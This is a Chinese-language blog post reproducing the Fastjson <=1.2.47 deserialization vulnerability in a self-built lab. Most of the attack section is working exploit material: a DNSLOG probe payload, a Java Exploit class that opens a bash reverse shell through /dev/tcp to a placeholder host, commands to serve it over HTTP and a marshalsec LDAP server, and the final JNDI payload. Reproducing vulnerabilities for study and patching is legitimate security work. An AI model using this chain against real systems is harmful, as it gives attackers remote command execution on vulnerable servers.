Fastjson<=1.2.47 反序列化漏洞
环境搭建
- fastjson-1.2.47
- jdk-8u181-linux-x64.tar.gz
- marshalsec-0.0.3-SNAPSHOT-all.jar
- tomcat8.35
可以用P神的vulhub和docker搭建,这里我尝试搭建了好久报错,就还是自己手工搭建吧。
漏洞复现
首先我们可以利用DNSLOG进行漏洞探测:1
2
3
4
5
6
7
8
9
10
11{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://q0qdv.l.dnslog.io/Exploit",
"autoCommit":true
}
}
但是好像只能打一次,过一会就不能打了。
接下来我们反弹shell:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xxx.xxx/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
将以上代码保存为Exploit.java,然后javac编译成class,编译好之后上传服务器,在该目录下启用python http服务:1
python -m SimpleHTTPServer 7000
开启nc监听,上面的代码中监听的12345:
使用marshalsec工具快捷的开启LDAP服务:1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.xxx.xxx.xxx:7000/#Exploit 7500
一共开启了三个监听,最后我们发送payload:1
2
3
4
5
6
7
8
9
10
11{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xxxxxx:7000/Exploit",
"autoCommit":true
}
}
shell就可以弹回来了,但是一个ip只可以利用一次。
还需要注意jdk的版本。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:Fastjson<=1.2.47 反序列化漏洞
本文作者:sher10ck
发布时间:2020-06-22, 18:01:18
最后更新:2020-06-22, 18:25:28
原始链接:http://sherlocz.github.io/2020/06/22/Fastjson-1-2-47-反序列化漏洞/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。